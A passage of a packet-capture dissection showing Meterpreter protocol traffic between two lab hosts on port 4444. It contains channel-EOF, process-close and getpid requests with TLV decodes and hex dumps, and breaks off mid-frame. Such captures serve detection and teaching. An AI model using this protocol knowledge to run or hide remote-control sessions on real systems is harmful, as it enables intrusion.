Win=141 Len=86
Frame 174: 140 bytes on wire (1120 bits), 140 bytes captured (1120 bits) on interface 0
Ethernet II, Src: CadmusCo_cd:55:8f (08:00:27:cd:55:8f), Dst: Microsof_1f:f2:4c (4c:0b:be:1f:f2:4c)
Internet Protocol Version 4, Src: 192.168.1.42, Dst: 192.168.1.41
Transmission Control Protocol, Src Port: 4444 (4444), Dst Port: 50768 (50768), Seq: 9012, Ack: 22583, Len: 86
Meterpreter protocol, Command details here or in the tree below
    Command: 0x00000056 [Command length]: 86
    Type: 0x00000000 [Command type: Request]: 0
    Data: 0000001900010001636f72655f6368616e6e656c5f656f66... [Command payload]
Meterpreter protocol, TLV details
    Data: 0000001900010001636f72655f6368616e6e656c5f656f66 [TLV]
    Command: 0x00000019 [Length]: 25
    Type: 0x00010001 [Type: Request]: TLV_TYPE_METHOD
    Data: 636f72655f6368616e6e656c5f656f6600 [Value] core_channel_eof
Meterpreter protocol, TLV details
    Data: 0000002900010002353034353131393234333239333030343... [TLV]
    Command: 0x00000029 [Length]: 41
    Type: 0x00010002 [Type: Request]: TLV_TYPE_REQUEST_ID
    Data: 353034353131393234333239333030343036363035343736... [Value] 50451192432930040660547674424448
Meterpreter protocol, TLV details
    Data: 0000000c00020032000000 [TLV]
    Command: 0x0000000c [Length]: 12
    Type: 0x00020032 [Type: Request]: TLV_TYPE_CHANNEL_ID
    Data: 00000000 [Value] OK
0000  4c 0b be 1f f2 4c 08 00 27 cd 55 8f 08 00 45 00   L....L..'.U...E.
0010  00 7e 64 8d 40 00 40 06 52 49 c0 a8 01 2a c0 a8   .~d.@.@.RI...*..
0020  01 29 11 5c c6 50 2e 7d 35 a7 a3 78 f5 8d 50 18   .).\.P.}5..x..P.
0030  00 8d 84 14 00 00 00 00 00 56 00 00 00 00 00 00   .........V......
0040  00 19 00 01 00 01 63 6f 72 65 5f 63 68 61 6e 6e   ......core_chann
0050  65 6c 5f 65 6f 66 00 00 00 00 29 00 01 00 02 35   el_eof....)....5
0060  30 34 35 31 31 39 32 34 33 32 39 33 30 30 34 30   0451192432930040
0070  36 36 30 35 34 37 36 37 34 34 32 34 34 34 38 00   660547674424448.
0080  00 00 00 0c 00 02 00 32 00 00 00 00               .......2....
```

```
    175 3400.270500    192.168.1.41          192.168.1.42          MTRPROT  140    50768 → 4444 [PSH, ACK] Seq=22583 Ack=9098
Win=2047 Len=86
Frame 175: 140 bytes on wire (1120 bits), 140 bytes captured (1120 bits) on interface 0
Ethernet II, Src: Microsof_1f:f2:4c (4c:0b:be:1f:f2:4c), Dst: CadmusCo_cd:55:8f (08:00:27:cd:55:8f)
Internet Protocol Version 4, Src: 192.168.1.41, Dst: 192.168.1.42
Transmission Control Protocol, Src Port: 50768 (50768), Dst Port: 4444 (4444), Seq: 22583, Ack: 9098, Len: 86
Meterpreter protocol, Command details here or in the tree below
    Command: 0x00000056 [Command length]: 86
    Type: 0x00000001 [Command type: Response]: 1
    Data: 0000001900010001636f72655f6368616e6e656c5f656f66... [Command payload]
Meterpreter protocol, TLV details
    Data: 0000001900010001636f72655f6368616e6e656c5f656f66 [TLV]
    Command: 0x00000019 [Length]: 25
    Type: 0x00010001 [Type: Response]: TLV_TYPE_METHOD
    Data: 636f72655f6368616e6e656c5f656f6600 [Value] core_channel_eof
Meterpreter protocol, TLV details
    Data: 0000002900010002353034353131393234333239333030343034... [TLV]
    Command: 0x00000029 [Length]: 41
    Type: 0x00010002 [Type: Response]: TLV_TYPE_REQUEST_ID
    Data: 35303435313139323433323933303034303636303535343736... [Value] 504511924329300406605476744244448
Meterpreter protocol, TLV details
    Data: 0000000c00020004000000 [TLV]
    Command: 0x0000000c [Length]: 12
    Type: 0x00020004 [Type: Response]: TLV_TYPE_RESULT
    Data: 00000001 [Value] ERROR
0000  08 00 27 cd 55 8f 4c 0b be 1f f2 4c 08 00 45 00   ..'.U.L....L..E.
0010  00 7e 0d 9b 40 00 80 06 69 3b c0 a8 01 29 c0 a8   .~..@...i;...)..
0020  01 2a c6 50 11 5c a3 78 f5 8d 2e 7d 35 fd 50 18   .*.P.\.x...}5.P.
0030  07 ff a4 9c 00 00 00 00 00 56 00 00 00 01 00 00   .........V......
0040  00 19 00 01 00 01 63 6f 72 65 5f 63 68 61 6e 6e   ......core_chann
0050  65 6c 5f 65 6f 66 00 00 00 00 29 00 01 00 02 35   el_eof....)....5
0060  30 34 35 31 31 39 32 34 33 32 39 33 30 30 34 30   0451192432930040
0070  36 36 30 35 34 37 36 37 34 34 32 34 34 34 38 00   660547674424448.
0080  00 00 00 0c 00 02 00 04 00 00 00 01               ............
```

```
    176 3460.400063    192.168.1.42          192.168.1.41          MTRPROT  140    4444 → 50768 [PSH, ACK] Seq=9098 Ack=22669
Win=141 Len=86
Frame 176: 140 bytes on wire (1120 bits), 140 bytes captured (1120 bits) on interface 0
Ethernet II, Src: CadmusCo_cd:55:8f (08:00:27:cd:55:8f), Dst: Microsof_1f:f2:4c (4c:0b:be:1f:f2:4c)
Internet Protocol Version 4, Src: 192.168.1.42, Dst: 192.168.1.41
Transmission Control Protocol, Src Port: 4444 (4444), Dst Port: 50768 (50768), Seq: 9098, Ack: 22669, Len: 86
Meterpreter protocol, Command details here or in the tree below
    Command: 0x00000056 [Command length]: 86
    Type: 0x00000000 [Command type: Request]: 0
    Data: 0000001900010001636f72655f6368616e6e656c5f656f66... [Command payload]
Meterpreter protocol, TLV details
    Data: 0000001900010001636f72655f6368616e6e656c5f656f66 [TLV]
    Command: 0x00000019 [Length]: 25
    Type: 0x00010001 [Type: Request]: TLV_TYPE_METHOD
    Data: 636f72655f6368616e6e656c5f656f6600 [Value] core_channel_eof
Meterpreter protocol, TLV details
    Data: 00000029000100023036343836323236383136363336353534... [TLV]
    Command: 0x00000029 [Length]: 41
    Type: 0x00010002 [Type: Request]: TLV_TYPE_REQUEST_ID
    Data: 303634383632323638313636333635343530323634343030... [Value] 06486226816636545026440049109416
Meterpreter protocol, TLV details
    Data: 0000000c00020032000000 [TLV]
    Command: 0x0000000c [Length]: 12
    Type: 0x00020032 [Type: Request]: TLV_TYPE_CHANNEL_ID
    Data: 00000000 [Value] OK
0000  4c 0b be 1f f2 4c 08 00 27 cd 55 8f 08 00 45 00   L....L..'.U...E.
0010  00 7e 64 8f 40 00 40 06 52 47 c0 a8 01 2a c0 a8   .~d.@.@.RG...*..
0020  01 29 11 5c c6 50 2e 7d 35 fd a3 78 f5 e3 50 18   .).\.P.}5..x..P.
0030  00 8d 84 14 00 00 00 00 00 56 00 00 00 00 00 00   .........V......
0040  00 19 00 01 00 01 63 6f 72 65 5f 63 68 61 6e 6e   ......core_chann
0050  65 6c 5f 65 6f 66 00 00 00 00 29 00 01 00 02 30   el_eof....)....0
0060  36 34 38 36 32 32 36 38 31 36 36 33 36 35 34 35   6486226816636545
0070  30 32 36 34 34 30 30 34 39 31 30 39 34 31 36 00   026440049109416.
0080  00 00 00 0c 00 02 00 32 00 00 00 00               .......2....
```

```
    177 3460.403476    192.168.1.41          192.168.1.42          MTRPROT  140    50768 → 4444 [PSH, ACK] Seq=22669 Ack=9184
Win=2053 Len=86
Frame 177: 140 bytes on wire (1120 bits), 140 bytes captured (1120 bits) on interface 0
Ethernet II, Src: Microsof_1f:f2:4c (4c:0b:be:1f:f2:4c), Dst: CadmusCo_cd:55:8f (08:00:27:cd:55:8f)
Internet Protocol Version 4, Src: 192.168.1.41, Dst: 192.168.1.42
Transmission Control Protocol, Src Port: 50768 (50768), Dst Port: 4444 (4444), Seq: 22669, Ack: 9184, Len: 86
Meterpreter protocol, Command details here or in the tree below
    Command: 0x00000056 [Command length]: 86
    Type: 0x00000001 [Command type: Response]: 1
    Data: 0000001900010001636f72655f6368616e6e656c5f656f66... [Command payload]
Meterpreter protocol, TLV details
    Data: 0000001900010001636f72655f6368616e6e656c5f656f66 [TLV]
    Command: 0x00000019 [Length]: 25
    Type: 0x00010001 [Type: Response]: TLV_TYPE_METHOD
    Data: 636f72655f6368616e6e656c5f656f6600 [Value] core_channel_eof
Meterpreter protocol, TLV details
    Data: 0000002900010002303634383632323638313636333635343... [TLV]
    Command: 0x00000029 [Length]: 41
    Type: 0x00010002 [Type: Response]: TLV_TYPE_REQUEST_ID
    Data: 3036343836323236383136363336353435303236343430... [Value] 06486226816636545026440049109416
Meterpreter protocol, TLV details
    Data: 0000000c00020004000000 [TLV]
    Command: 0x0000000c [Length]: 12
    Type: 0x00020004 [Type: Response]: TLV_TYPE_RESULT
    Data: 00000001 [Value] ERROR
0000  08 00 27 cd 55 8f 4c 0b be 1f f2 4c 08 00 45 00   ..'.U.L....L..E.
0010  00 7e 0d 9c 40 00 80 06 69 3a c0 a8 01 29 c0 a8   .~..@...i:...)..
0020  01 2a c6 50 11 5c a3 78 f5 e3 2e 7d 36 53 50 18   .*.P.\.x...}6SP.
0030  08 05 99 ef 00 00 00 00 00 56 00 00 00 01 00 00   .........V......
0040  00 19 00 01 00 01 63 6f 72 65 5f 63 68 61 6e 6e   ......core_chann
0050  65 6c 5f 65 6f 66 00 00 00 00 29 00 01 00 02 30   el_eof....)....0
0060  36 34 38 36 32 32 36 38 31 36 36 33 36 35 34 35   6486226816636545
0070  30 32 36 34 34 30 30 34 39 31 30 39 34 31 36 00   026440049109416.
0080  00 00 00 0c 00 02 00 04 00 00 00 01               ............
```

```
    178 3520.805882    192.168.1.42          192.168.1.41          MTRPROT  140    4444 → 50768 [PSH, ACK] Seq=9184 Ack=22755
Win=141 Len=86
Frame 178: 140 bytes on wire (1120 bits), 140 bytes captured (1120 bits) on interface 0
Ethernet II, Src: CadmusCo_cd:55:8f (08:00:27:cd:55:8f), Dst: Microsof_1f:f2:4c (4c:0b:be:1f:f2:4c)
Internet Protocol Version 4, Src: 192.168.1.42, Dst: 192.168.1.41
Transmission Control Protocol, Src Port: 4444 (4444), Dst Port: 50768 (50768), Seq: 9184, Ack: 22755, Len: 86
Meterpreter protocol, Command details here or in the tree below
    Command: 0x00000056 [Command length]: 86
    Type: 0x00000000 [Command type: Request]: 0
    Data: 0000001900010001636f72655f6368616e6e656c5f656f66... [Command payload]
Meterpreter protocol, TLV details
    Data: 0000001900010001636f72655f6368616e6e656c5f656f66 [TLV]
    Command: 0x00000019 [Length]: 25
    Type: 0x00010001 [Type: Request]: TLV_TYPE_METHOD
    Data: 636f72655f6368616e6e656c5f656f6600 [Value] core_channel_eof
Meterpreter protocol, TLV details
    Data: 0000002900010002363232303539393436333635393336393... [TLV]
    Command: 0x00000029 [Length]: 41
    Type: 0x00010002 [Type: Request]: TLV_TYPE_REQUEST_ID
    Data: 36323230353939343633363539333639383531393635343 6... [Value] 62205994636593698519654688427619
Meterpreter protocol, TLV details
    Data: 0000000c00020032000000 [TLV]
    Command: 0x0000000c [Length]: 12
    Type: 0x00020032 [Type: Request]: TLV_TYPE_CHANNEL_ID
    Data: 00000000 [Value] OK
0000  4c 0b be 1f f2 4c 08 00 27 cd 55 8f 08 00 45 00   L....L..'.U...E.
0010  00 7e 64 91 40 00 40 06 52 45 c0 a8 01 2a c0 a8   .~d.@.@.RE...*..
0020  01 29 11 5c c6 50 2e 7d 36 53 a3 78 f6 39 50 18   .).\.P.}6S.x.9P.
0030  00 8d 84 14 00 00 00 00 00 56 00 00 00 00 00 00   .........V......
0040  00 19 00 01 00 01 63 6f 72 65 5f 63 68 61 6e 6e   ......core_chann
0050  65 6c 5f 65 6f 66 00 00 00 00 29 00 01 00 02 36   el_eof....)....6
0060  32 32 30 35 39 39 34 36 33 36 35 39 33 36 39 38   2205994636593698
0070  35 31 39 36 35 34 36 38 38 34 32 37 36 31 39 00   519654688427619.
0080  00 00 00 0c 00 02 00 32 00 00 00 00               .......2....
```

```
    179 3520.807335    192.168.1.41          192.168.1.42          MTRPROT  140    50768 → 4444 [PSH, ACK] Seq=22755 Ack=9270 
Win=2052 Len=86
Frame 179: 140 bytes on wire (1120 bits), 140 bytes captured (1120 bits) on interface 0
Ethernet II, Src: Microsof_1f:f2:4c (4c:0b:be:1f:f2:4c), Dst: CadmusCo_cd:55:8f (08:00:27:cd:55:8f)
Internet Protocol Version 4, Src: 192.168.1.41, Dst: 192.168.1.42
Transmission Control Protocol, Src Port: 50768 (50768), Dst Port: 4444 (4444), Seq: 22755, Ack: 9270, Len: 86
Meterpreter protocol, Command details here or in the tree below
    Command: 0x00000056 [Command length]: 86
    Type: 0x00000001 [Command type: Response]: 1
    Data: 0000001900010001636f72655f6368616e6e656c5f656f66... [Command payload]
Meterpreter protocol, TLV details
    Data: 0000001900010001636f72655f6368616e6e656c5f656f66 [TLV]
    Command: 0x00000019 [Length]: 25
    Type: 0x00010001 [Type: Response]: TLV_TYPE_METHOD
    Data: 636f72655f6368616e6e656c5f656f6600 [Value] core_channel_eof
Meterpreter protocol, TLV details
    Data: 0000002900010002363232303539393436333635393336393... [TLV]
    Command: 0x00000029 [Length]: 41
    Type: 0x00010002 [Type: Response]: TLV_TYPE_REQUEST_ID
    Data: 36323230353939343633363539333639383531393635343636... [Value] 62205994636593698519654688427619
Meterpreter protocol, TLV details
    Data: 0000000c00020004000000 [TLV]
    Command: 0x0000000c [Length]: 12
    Type: 0x00020004 [Type: Response]: TLV_TYPE_RESULT
    Data: 00000001 [Value] ERROR
0000  08 00 27 cd 55 8f 4c 0b be 1f f2 4c 08 00 45 00   ..'.U.L....L..E.
0010  00 7e 0d 9d 40 00 80 06 69 39 c0 a8 01 29 c0 a8   .~..@...i9...)..
0020  01 2a c6 50 11 5c a3 78 f6 39 2e 7d 36 a9 50 18   .*.P.\.x.9.}6.P.
0030  08 04 88 28 00 00 00 00 00 56 00 00 00 01 00 00   ...(.....V......
0040  00 19 00 01 00 01 63 6f 72 65 5f 63 68 61 6e 6e   ......core_chann
0050  65 6c 5f 65 6f 66 00 00 00 00 29 00 01 00 02 36   el_eof....)....6
0060  32 32 30 35 39 39 34 36 33 36 35 39 33 36 39 38   2205994636593698
0070  35 31 39 36 35 34 36 38 38 34 32 37 36 31 39 00   519654688427619.
0080  00 00 00 0c 00 02 00 04 00 00 00 01               ............
```

```
    180 3581.225266    192.168.1.42          192.168.1.41          MTRPROT  140    4444 → 50768 [PSH, ACK] Seq=9270 Ack=22841 
Win=141 Len=86
Frame 180: 140 bytes on wire (1120 bits), 140 bytes captured (1120 bits) on interface 0
Ethernet II, Src: CadmusCo_cd:55:8f (08:00:27:cd:55:8f), Dst: Microsof_1f:f2:4c (4c:0b:be:1f:f2:4c)
Internet Protocol Version 4, Src: 192.168.1.42, Dst: 192.168.1.41
Transmission Control Protocol, Src Port: 4444 (4444), Dst Port: 50768 (50768), Seq: 9270, Ack: 22841, Len: 86
Meterpreter protocol, Command details here or in the tree below
    Command: 0x00000056 [Command length]: 86
    Type: 0x00000000 [Command type: Request]: 0
    Data: 0000001900010001636f72655f6368616e6e656c5f656f66... [Command payload]
Meterpreter protocol, TLV details
    Data: 0000001900010001636f72655f6368616e6e656c5f656f66 [TLV]
    Command: 0x00000019 [Length]: 25
    Type: 0x00010001 [Type: Request]: TLV_TYPE_METHOD
    Data: 636f72655f6368616e6e656c5f656f6600 [Value] core_channel_eof
Meterpreter protocol, TLV details
    Data: 00000029000100023939393032383137363132333130303033... [TLV]
    Command: 0x00000029 [Length]: 41
    Type: 0x00010002 [Type: Request]: TLV_TYPE_REQUEST_ID
    Data: 393939303238313736313233313030333839333832313431... [Value] 99902817612310038938214164968231
Meterpreter protocol, TLV details
    Data: 0000000c00020032000000 [TLV]
    Command: 0x0000000c [Length]: 12
    Type: 0x00020032 [Type: Request]: TLV_TYPE_CHANNEL_ID
    Data: 00000000 [Value] OK
0000  4c 0b be 1f f2 4c 08 00 27 cd 55 8f 08 00 45 00   L....L..'.U...E.
0010  00 7e 64 93 40 00 40 06 52 43 c0 a8 01 2a c0 a8   .~d.@.@.RC...*..
0020  01 29 11 5c c6 50 2e 7d 36 a9 a3 78 f6 8f 50 18   .).\.P.}6..x..P.
0030  00 8d 84 14 00 00 00 00 00 56 00 00 00 00 00 00   .........V......
0040  00 19 00 01 00 01 63 6f 72 65 5f 63 68 61 6e 6e   ......core_chann
0050  65 6c 5f 65 6f 66 00 00 00 00 29 00 01 00 02 39   el_eof....)....9
0060  39 39 30 32 38 31 37 36 31 32 33 31 30 30 33 38   9902817612310038
0070  39 33 38 32 31 34 31 36 34 39 36 38 32 33 31 00   938214164968231.
0080  00 00 00 0c 00 02 00 32 00 00 00 00               .......2....
```

```
    181 3581.226682    192.168.1.41          192.168.1.42          MTRPROT  140    50768 → 4444 [PSH, ACK] Seq=22841 Ack=9356
Win=2052 Len=86
Frame 181: 140 bytes on wire (1120 bits), 140 bytes captured (1120 bits) on interface 0
Ethernet II, Src: Microsof_1f:f2:4c (4c:0b:be:1f:f2:4c), Dst: CadmusCo_cd:55:8f (08:00:27:cd:55:8f)
Internet Protocol Version 4, Src: 192.168.1.41, Dst: 192.168.1.42
Transmission Control Protocol, Src Port: 50768 (50768), Dst Port: 4444 (4444), Seq: 22841, Ack: 9356, Len: 86
Meterpreter protocol, Command details here or in the tree below
    Command: 0x00000056 [Command length]: 86
    Type: 0x00000001 [Command type: Response]: 1
    Data: 0000001900010001636f72655f6368616e6e656c5f656f66... [Command payload]
Meterpreter protocol, TLV details
    Data: 0000001900010001636f72655f6368616e6e656c5f656f66 [TLV]
    Command: 0x00000019 [Length]: 25
    Type: 0x00010001 [Type: Response]: TLV_TYPE_METHOD
    Data: 636f72655f6368616e6e656c5f656f6600 [Value] core_channel_eof
Meterpreter protocol, TLV details
    Data: 00000029000100023939393032383137363132333130303033... [TLV]
    Command: 0x00000029 [Length]: 41
    Type: 0x00010002 [Type: Response]: TLV_TYPE_REQUEST_ID
    Data: 39393930323831373631323331303033383933383231343431... [Value] 99902817612310038938214164968231
Meterpreter protocol, TLV details
    Data: 0000000c00020004000000 [TLV]
    Command: 0x0000000c [Length]: 12
    Type: 0x00020004 [Type: Response]: TLV_TYPE_RESULT
    Data: 00000001 [Value] ERROR
0000  08 00 27 cd 55 8f 4c 0b be 1f f2 4c 08 00 45 00   ..'.U.L....L..E.
0010  00 7e 0d 9e 40 00 80 06 69 38 c0 a8 01 29 c0 a8   .~..@...i8...)..
0020  01 2a c6 50 11 5c a3 78 f6 8f 2e 7d 36 ff 50 18   .*.P.\.x...}6.P.
0030  08 04 9d 8b 00 00 00 00 00 56 00 00 00 01 00 00   .........V......
0040  00 19 00 01 00 01 63 6f 72 65 5f 63 68 61 6e 6e   ......core_chann
0050  65 6c 5f 65 6f 66 00 00 00 00 29 00 01 00 02 39   el_eof....)....9
0060  39 39 30 32 38 31 37 36 31 32 33 31 30 30 33 38   9902817612310038
0070  39 33 38 32 31 34 31 36 34 39 36 38 32 33 31 00   938214164968231.
0080  00 00 00 0c 00 02 00 04 00 00 00 01               ............
```

```
    182 3641.576191    192.168.1.42          192.168.1.41          MTRPROT  140    4444 → 50768 [PSH, ACK] Seq=9356 Ack=22927
Win=141 Len=86
Frame 182: 140 bytes on wire (1120 bits), 140 bytes captured (1120 bits) on interface 0
Ethernet II, Src: CadmusCo_cd:55:8f (08:00:27:cd:55:8f), Dst: Microsof_1f:f2:4c (4c:0b:be:1f:f2:4c)
Internet Protocol Version 4, Src: 192.168.1.42, Dst: 192.168.1.41
Transmission Control Protocol, Src Port: 4444 (4444), Dst Port: 50768 (50768), Seq: 9356, Ack: 22927, Len: 86
Meterpreter protocol, Command details here or in the tree below
    Command: 0x00000056 [Command length]: 86
    Type: 0x00000000 [Command type: Request]: 0
    Data: 0000001900010001636f72655f6368616e6e656c5f656f66... [Command payload]
Meterpreter protocol, TLV details
    Data: 0000001900010001636f72655f6368616e6e656c5f656f66 [TLV]
    Command: 0x00000019 [Length]: 25
    Type: 0x00010001 [Type: Request]: TLV_TYPE_METHOD
    Data: 636f72655f6368616e6e656c5f656f6600 [Value] core_channel_eof
Meterpreter protocol, TLV details
    Data: 0000002900010002383630373030363531383938383735383... [TLV]
    Command: 0x00000029 [Length]: 41
    Type: 0x00010002 [Type: Request]: TLV_TYPE_REQUEST_ID
    Data: 38363037303036353138393838373538383333303232313936... [Value] 86070065189887588330219603666904
Meterpreter protocol, TLV details
    Data: 0000000c00020032000000 [TLV]
    Command: 0x0000000c [Length]: 12
    Type: 0x00020032 [Type: Request]: TLV_TYPE_CHANNEL_ID
    Data: 00000000 [Value] OK
0000  4c 0b be 1f f2 4c 08 00 27 cd 55 8f 08 00 45 00   L....L..'.U...E.
0010  00 7e 64 95 40 00 40 06 52 41 c0 a8 01 2a c0 a8   .~d.@.@.RA...*..
0020  01 29 11 5c c6 50 2e 7d 36 ff a3 78 f6 e5 50 18   .).\.P.}6..x..P.
0030  00 8d 84 14 00 00 00 00 00 56 00 00 00 00 00 00   .........V......
0040  00 19 00 01 00 01 63 6f 72 65 5f 63 68 61 6e 6e   ......core_chann
0050  65 6c 5f 65 6f 66 00 00 00 00 29 00 01 00 02 38   el_eof....)....8
0060  36 30 37 30 30 36 35 31 38 39 38 38 37 35 38 38   6070065189887588
0070  33 33 30 32 31 39 36 30 33 36 36 36 39 30 34 00   330219603666904.
0080  00 00 00 0c 00 02 00 32 00 00 00 00               .......2....
```

```
    183 3641.577405    192.168.1.41          192.168.1.42          MTRPROT  140    50768 → 4444 [PSH, ACK] Seq=22927 Ack=9442
Win=2052 Len=86
Frame 183: 140 bytes on wire (1120 bits), 140 bytes captured (1120 bits) on interface 0
Ethernet II, Src: Microsof_1f:f2:4c (4c:0b:be:1f:f2:4c), Dst: CadmusCo_cd:55:8f (08:00:27:cd:55:8f)
Internet Protocol Version 4, Src: 192.168.1.41, Dst: 192.168.1.42
Transmission Control Protocol, Src Port: 50768 (50768), Dst Port: 4444 (4444), Seq: 22927, Ack: 9442, Len: 86
Meterpreter protocol, Command details here or in the tree below
    Command: 0x00000056 [Command length]: 86
    Type: 0x00000001 [Command type: Response]: 1
    Data: 0000001900010001636f72655f6368616e6e656c5f656f66... [Command payload]
Meterpreter protocol, TLV details
    Data: 0000001900010001636f72655f6368616e6e656c5f656f66 [TLV]
    Command: 0x00000019 [Length]: 25
    Type: 0x00010001 [Type: Response]: TLV_TYPE_METHOD
    Data: 636f72655f6368616e6e656c5f656f6600 [Value] core_channel_eof
Meterpreter protocol, TLV details
    Data: 0000002900010002383630373030363531383938383735383... [TLV]
    Command: 0x00000029 [Length]: 41
    Type: 0x00010002 [Type: Response]: TLV_TYPE_REQUEST_ID
    Data: 383630373030363531383938383735383833333032313936... [Value] 86070065189887588330219603666904
Meterpreter protocol, TLV details
    Data: 0000000c00020004000000 [TLV]
    Command: 0x0000000c [Length]: 12
    Type: 0x00020004 [Type: Response]: TLV_TYPE_RESULT
    Data: 00000001 [Value] ERROR
0000  08 00 27 cd 55 8f 4c 0b be 1f f2 4c 08 00 45 00   ..'.U.L....L..E.
0010  00 7e 0d 9f 40 00 80 06 69 37 c0 a8 01 29 c0 a8   .~..@...i7...)..
0020  01 2a c6 50 11 5c a3 78 f6 e5 2e 7d 37 55 50 18   .*.P.\.x...}7UP.
0030  08 04 8a e1 00 00 00 00 00 56 00 00 00 01 00 00   .........V......
0040  00 19 00 01 00 01 63 6f 72 65 5f 63 68 61 6e 6e   ......core_chann
0050  65 6c 5f 65 6f 66 00 00 00 00 29 00 01 00 02 38   el_eof....)....8
0060  36 30 37 30 30 36 35 31 38 39 38 38 37 35 38 38   6070065189887588
0070  33 33 30 32 31 39 36 30 33 36 36 36 39 30 34 00   330219603666904.
0080  00 00 00 0c 00 02 00 04 00 00 00 01               ............
```

```
    184 3697.815830    192.168.1.42          192.168.1.41          MTRPROT  152    4444 → 50768 [PSH, ACK] Seq=9442 Ack=23013 
Win=141 Len=98
Frame 184: 152 bytes on wire (1216 bits), 152 bytes captured (1216 bits) on interface 0
Ethernet II, Src: CadmusCo_cd:55:8f (08:00:27:cd:55:8f), Dst: Microsof_1f:f2:4c (4c:0b:be:1f:f2:4c)
Internet Protocol Version 4, Src: 192.168.1.42, Dst: 192.168.1.41
Transmission Control Protocol, Src Port: 4444 (4444), Dst Port: 50768 (50768), Seq: 9442, Ack: 23013, Len: 98
Meterpreter protocol, Command details here or in the tree below
    Command: 0x00000062 [Command length]: 98
    Type: 0x00000000 [Command type: Request]: 0
    Data: 00000021000100017374646170695f7379735f70726f6365... [Command payload]
Meterpreter protocol, TLV details
    Data: 00000021000100017374646170695f7379735f70726f6365... [TLV]
    Command: 0x00000021 [Length]: 33
    Type: 0x00010001 [Type: Request]: TLV_TYPE_METHOD
    Data: 7374646170695f7379735f70726f636573735f636c6f7365... [Value] stdapi_sys_process_close
Meterpreter protocol, TLV details
    Data: 00000029000100023931323935303536383032303635313139... [TLV]
    Command: 0x00000029 [Length]: 41
    Type: 0x00010002 [Type: Request]: TLV_TYPE_REQUEST_ID
    Data: 3931323935303536383032303635313139383636383537363939... [Value] 91295056802065198668576929064320
Meterpreter protocol, TLV details
    Data: 00000010001002580000000300000003 [TLV]
    Command: 0x00000010 [Length]: 16
    Type: 0x00100258 [Type: Request]: TLV_TYPE_HANDLE
    Data: 0000000300000003 [Value] ⍰⍰
0000  4c 0b be 1f f2 4c 08 00 27 cd 55 8f 08 00 45 00   L....L..'.U...E.
0010  00 8a 64 97 40 00 40 06 52 33 c0 a8 01 2a c0 a8   ..d.@.@.R3...*..
0020  01 29 11 5c c6 50 2e 7d 37 55 a3 78 f7 3b 50 18   .).\.P.}7U.x.;P.
0030  00 8d 84 20 00 00 00 00 00 62 00 00 00 00 00 00   ... .....b......
0040  00 21 00 01 00 01 73 74 64 61 70 69 5f 73 79 73   .!....stdapi_sys
0050  5f 70 72 6f 63 65 73 73 5f 63 6c 6f 73 65 00 00   _process_close..
0060  00 00 29 00 01 00 02 39 31 32 39 35 30 35 36 38   ..)....912950568
0070  30 32 30 36 35 31 39 38 36 36 38 35 37 36 39 32   0206519866857692
0080  39 30 36 34 33 32 30 00 00 00 00 10 00 10 02 58   9064320........X
0090  00 00 00 03 00 00 00 03                           ........
```

```
    185 3697.817653    192.168.1.41          192.168.1.42          MTRPROT  148    50768 → 4444 [PSH, ACK] Seq=23013 Ack=9540
Win=2051 Len=94
Frame 185: 148 bytes on wire (1184 bits), 148 bytes captured (1184 bits) on interface 0
Ethernet II, Src: Microsof_1f:f2:4c (4c:0b:be:1f:f2:4c), Dst: CadmusCo_cd:55:8f (08:00:27:cd:55:8f)
Internet Protocol Version 4, Src: 192.168.1.41, Dst: 192.168.1.42
Transmission Control Protocol, Src Port: 50768 (50768), Dst Port: 4444 (4444), Seq: 23013, Ack: 9540, Len: 94
Meterpreter protocol, Command details here or in the tree below
    Command: 0x0000005e [Command length]: 94
    Type: 0x00000001 [Command type: Response]: 1
    Data: 0000002100010001737464617069 5f7379735f70726f6365... [Command payload]
Meterpreter protocol, TLV details
    Data: 0000002100010001737464617069 5f7379735f70726f6365... [TLV]
    Command: 0x00000021 [Length]: 33
    Type: 0x00010001 [Type: Response]: TLV_TYPE_METHOD
    Data: 7374646170695f7379735f70726f636573735f636c6f7365... [Value] stdapi_sys_process_close
Meterpreter protocol, TLV details
    Data: 00000029000100023931323935303536383032303635313139... [TLV]
    Command: 0x00000029 [Length]: 41
    Type: 0x00010002 [Type: Response]: TLV_TYPE_REQUEST_ID
    Data: 3931323935303536383032303635313139383636383537363 9... [Value] 912950568020651986685769290643 20
Meterpreter protocol, TLV details
    Data: 0000000c00020004000000 00 [TLV]
    Command: 0x0000000c [Length]: 12
    Type: 0x00020004 [Type: Response]: TLV_TYPE_RESULT
    Data: 00000000 [Value] OK
0000  08 00 27 cd 55 8f 4c 0b be 1f f2 4c 08 00 45 00   ..'.U.L....L..E.
0010  00 86 0d a0 40 00 80 06 69 2e c0 a8 01 29 c0 a8   ....@...i....)..
0020  01 2a c6 50 11 5c a3 78 f7 3b 2e 7d 37 b7 50 18   .*.P.\.x.;.}7.P.
0030  08 03 c4 3c 00 00 00 00 00 5e 00 00 00 01 00 00   ...<.....^......
0040  00 21 00 01 00 01 73 74 64 61 70 69 5f 73 79 73   .!....stdapi_sys
0050  5f 70 72 6f 63 65 73 73 5f 63 6c 6f 73 65 00 00   _process_close..
0060  00 00 29 00 01 00 02 39 31 32 39 35 30 35 36 38   ..)....912950568
0070  30 32 30 36 35 31 39 38 36 36 38 35 37 36 39 32   0206519866857692
0080  39 30 36 34 33 32 30 00 00 00 00 0c 00 02 00 04   9064320.........
0090  00 00 00 00                                       ....
```

```
    186 3704.235081    192.168.1.42          192.168.1.41          MTRPROT  137    4444 → 50768 [PSH, ACK] Seq=9540 Ack=23107
Win=141 Len=83
Frame 186: 137 bytes on wire (1096 bits), 137 bytes captured (1096 bits) on interface 0
Ethernet II, Src: CadmusCo_cd:55:8f (08:00:27:cd:55:8f), Dst: Microsof_1f:f2:4c (4c:0b:be:1f:f2:4c)
Internet Protocol Version 4, Src: 192.168.1.42, Dst: 192.168.1.41
Transmission Control Protocol, Src Port: 4444 (4444), Dst Port: 50768 (50768), Seq: 9540, Ack: 23107, Len: 83
Meterpreter protocol, Command details here or in the tree below
    Command: 0x00000053 [Command length]: 83
    Type: 0x00000000 [Command type: Request]: 0
    Data: 00000022000100017374646170695f7379735f70726f6365... [Command payload]
Meterpreter protocol, TLV details
    Data: 00000022000100017374646170695f7379735f70726f6365... [TLV]
    Command: 0x00000022 [Length]: 34
    Type: 0x00010001 [Type: Request]: TLV_TYPE_METHOD
    Data: 7374646170695f7379735f70726f636573735f6765747069... [Value] stdapi_sys_process_getpid
Meterpreter protocol, TLV details
    Data: 0000002900010002353738393136313031383638313139338... [TLV]
    Command: 0x00000029 [Length]: 41
    Type: 0x00010002 [Type: Request]: TLV_TYPE_REQUEST_ID
